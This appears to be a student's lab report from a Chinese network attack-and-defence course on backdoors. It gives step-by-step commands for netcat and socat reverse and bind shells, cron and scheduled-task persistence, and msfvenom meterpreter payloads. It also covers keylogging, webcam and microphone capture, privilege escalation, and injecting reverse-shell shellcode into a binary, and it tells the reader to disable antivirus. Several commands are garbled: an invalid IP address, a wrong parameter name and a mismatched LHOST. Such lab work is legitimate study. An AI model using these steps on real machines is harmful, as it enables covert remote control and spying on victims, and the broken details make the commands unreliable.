20181330 王茜 《网络对抗技术》Exp2 后门原理与实践
1、实践过程记录
1.1 NC 或 netcat
1.关于netcat
- Netcat 是一款简单的Unix工具,使用UDP和TCP协议。
- 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。
- Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,"man nc",查看其使用说明。
1.1.1 Win获得Linux Shell
Step0:首先查看windows主机和kali的IP地址
Step0.1:在kali的终端输入 ifconfig 查看当前kali的IP地址,如下图所示。
Step0.2:在kali的终端输入 ipconfig 查看当前Windows主机当前的IP地址,如下图所示。
所以:
我的Windows主机IP地址:172.16.227.49
kali的IP地址:192.168.91.133
Step1:windows 打开监听
在cmd.exe下输入 ncat.exe -l -p 8330
Step2:Linux反弹连接win
输入 nc 172.16.277.49 8330 -e /bin/sh
Step3:windows下获得一个linux shell,可运行任何指令,如ls
成功!但是输出乱码,应该是字符编码问题,我们需要修改一下字符编码。
Step4:修改字符编码
在cmd.exe输入 cd c:\windows\ststem32
之后输入 chcp 65001 更改字符编码为UTF-8
成功之后会显示如下图所示:
注意:这种方法只是临时更改,永久修改需要修改注册表。
此时重新在Windows打开监听,在Linux反弹连接Windows,输入 ls 命令,成功!
1.1.2 Linux获得Win Shell
Step1:Linux运行监听指令
Step2:Windows反弹连接Linux
Step3:Linux下看到Windows的命令提示
成功!
1.1.3 Netcat扩展知识
1.1.3.1 nc传输数据
Step1:在Windows端输入 ncat.exe -l 8330 > 20181330wangqian.txt
Step2:在kali端输入 nc 172.16.227.49 8330 < 20181330wangqian.in
Step3:之后两者就可以传输数据!
1.1.4 使用socat获取主机操作Shell, 任务计划启动
此时我的Windows主机ip为: 172.16.227.49
kali的ip为: 192.168.91.133
Step1: 使用netcat获取主机操作Shell,cron启动
输入 select-editor ;
在第一次使用的时候需要选择编译器,我们选择 3 ,vim
- Cron 是 Linux 下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可 man cron 。
- crontab 指令增加一条定时任务,-e表示编辑。
在最后一行添加22 * * * * /bin/netcat 172.16.227.49 8330 -e /bin/sh每个时间段的第22分钟反向连接Windows主机的8330端口.
接着按下 esc 输入 :wq 保存退出配置即生效,可通过 crontab -l 查看
Step2:在系统时间22分时,就发现获得kali shell。可以使用一些命令查看
使用socat获取主机操作Shell, 任务计划启动。
Step3:win10系统中找到左下角的windows标志: 右键-计算机管理-任务计划程序-创建任务
常规 中填写 任务名称 为 exp2
点击 触发器 然后 新建触发器 ,我选择 工作站锁定时 触发,然后点击确定。
在操作中,导入你所下载解压后的 socat.exe 的路径,在添加参数中填入 tcp-listen:8330 exec:cmd.exe,pty,stderr (把 cmd.exe 绑定到端口 8330 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上),创建完成之后,点击确定。
创建完成之后,按 Windows+L 快捷键锁定计算机,再次打开时,双击 任务计划程序库 可以发现之前创建的任务已经开始运行
Step4:在kali中输入 socat - tcp:172.16.227.49:8330 (-代表标准的输入输出,第二个流连接到Windows主机的 8330 端口,IP为win的IP),成功获得 cmd shell )
输入 dir 进行测试,成功输出
1.2 Meterpreter
我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.
揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
后门是编写好的程序,但是一旦被杀软识别,就不能再使用了。
所以就出现了一些平台,把后门的基本功能、扩展功能、编码模式、运行平台及参数都做成可调整的参数和零件,需要的时候组合即可生成一个可执行文件。例如intersect、Metaspolit的msfvenom指令、Veil-evasion等等。
我们接下来使用的是msfvenom命令,生成的后门程序是Meterpreter。
Meterpreter的底层原理可以学习揭开Meterpreter的神秘面纱
1.2.1 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
Step1:
在kali终端中输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -f exe > 20181330_backdoor.exe
或者输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 PORT=8330 -f exe > meter_backdoor.exe
在kali中输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -f exe > 20181330_backdoor.exe (IP为kali的IP)生成后门程序 20181330_backdoor.exe
- -f :生成文件的类型
- -p:使用的payload,就是有效载荷,简单来说就是被运输的东西,这个命令中windows/meterpreter/reverse_tcp就是一段shellcode
- -x:使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e:使用的编码器,用于对shellcode变形,为了免杀。
- -i:编码器的迭代次数。如上即使用该编码器编码5次。
- -b:badchar是payload中需要去除的字符。
- LHOST:反弹回连的IP
- LPORT:是回连的端口
- > :输出到哪个文件
生成的文件我们需要传给Windows,但是这种未经过处理的后门程序很大可能会被防火墙删除。
为了验证后门程序的功能,我们需要临时关闭电脑上的杀软,但是实验之后一定要记得打开。
Step2:
我第一次进行实验时,由于没有设置好防火墙,导致传输的文件被删除。
所以最好先关闭防火墙再进行传输文件。
实时保护很重要,要记得关闭,否则后门程序会传不过来。
实验做完后记得重新打开防火墙~
Step3:
在Windows中使用 ncat.exe -lv 8330 > 20181330_backdoor.exe 进行传输
在kali中输入 nc 172.16.227.49 8330 < 20181330_backdoor.exe (此处的IP为Windows的IP)
将生成的后门程序传送到Windows主机,传输成功。
1.2.2 MSF打开监听进程
Step1:
在 Kali 上使用 msfconsole 指令进入msf控制台
输入 use exploit/multi/handler 使用监听模块,设置payload
输入 set payload windows/meterpreter/reverse_tcp ,使用和生成后门程序时相同的payload
输入 set LHOST 172.16.227.49
,这里用的是 LinuxIP ,和生成后门程序时指定的IP相同
输入set LPORT 8330
,要使用相同的端口
输入 show options 查看
输入 exploit 设置监听
Step2:
在Windows主机上双击运行生成的后门文件 20181330_backdoor.exe
此时可以看到, Kali 上已经获得了 windows 主机的连接,并且得到了远程控制的 shell
1.2.3 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
Step1:输入record_mic
指令可以截获一段音频
Step2:输入webcam_snap
指令可以使用摄像头进行拍照
Step3:使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
Step4:使用screenshot
指令可以进行截屏
截屏如下:
Step5:
输入 getuid 查看当前用户
输入 getsystem 提取权限
2、加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
方法一:网站直接下载shellcode
Step1 :下载一份linux/x86平台的,反弹连接的shellcode(网址::https://www.exploit-db.com/shellcodes)。
本次实验我下载的shellcode为:
输入:
perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input181330
perl -e 'print "A" x 32;print"\xb0\x05\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input181330
Step4:
同样的:
- 在Kali上输入 msfconsole 指令进入msf控制台
- 输入 use exploit/multi/handler 使用监听模块,设置payload
- set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
按照网站shellcode的要求- set LPORT 4444 按照网站shellcode的要求
- 输入 exploit 设置监听
注意要按照网站下载shellcode的要求设置LHOST和LPORT。
Step5:打开另一个终端输入 (cat input181330;cat) | ./pwn1 运行注入shellcode后的pwn1
成功!
方法二:利用msf生成可执行的后门
Step1:
在Kali上执行指令 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -x pwn1 -f elf > pwntest
指令说明:
- IP地址:控制端IP,即Linux的IP
- -x 使用的可执行文件模板,指令中为pwn1,也就是写入pwn1中
- -f 生成文件的类型,我们此处要得到的是elf文件
- -p payload,有效载荷,也就是被运输的东西。
Step2:
在 Kali 上使用 msfconsole 指令进入msf控制台
输入 use exploit/multi/handler 使用监听模块,设置payload
输入set payload linux/x86/meterpreter/reverse_tcp
输入set LHOST 192.168.91.133
,这里用的是LinuxIP,和生成程序时指定的IP相同
输入 set LPORT 8330
,注意要使用相同的端口
输入 exploit 执行监听
Step3:
在另一个终端进入相应文件夹,输入 chmod +x pwntest
否则会出现权限不够无法运行的问题
接着输入运行 ./pwntest
Step4:
之前的终端进行响应,得到了pwntest的功能
3、基础问题回答
3.1 例举你能想到的一个后门进入到你系统中的可能方式?
可能通过网站挂马;利用硬件传播(比如U盘);一些病毒(例如蠕虫等等);钓鱼;社会工程学……
3.2 例举你知道的后门如何启动起来(win及linux)的方式?
本次实验中,在Linux里先修改cron文件,通过nc传播到另一台主机,当另一台主机运行时启动后门;
通过漏洞攻击启动;
一些不安全的软件编写时留下了后门,使用这些软件可能会使后门启动;
等等。
3.3 Meterpreter有哪些给你映像深刻的功能?
实验中我们通过使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录,并提权。
对我来说,提权是映像最深刻的。因为这个是最危险的,攻击者提权后可能进行意想不到的攻击。
3.4如何发现自己有系统有没有被安装后门?
首先可以通过Windows自带的防火墙识别,很多是可以被识别出来的;
再就是查看任务管理器有没有很陌生的任务在运行;
还可以查看注册表信息。
4、实验总结与体会
本次实验通过利用后门,可以操作shell,可以获取目标主机音频、摄像头、击键记录等内容,可以提权……
实验中简单的后门其实是可以被防火墙识别的,这让我意识到了防火墙的重要性,以及一定要及时更新系统、安装补丁,尽量避免系统漏洞;
在实验里简单的后门程序就可以实现那么多效果,一旦计算机被植入这些后门程序,个人隐私就轻而易举地会被泄露,在平时一定要养成良好的使用计算机的习惯,不要使用来源不明的软件等。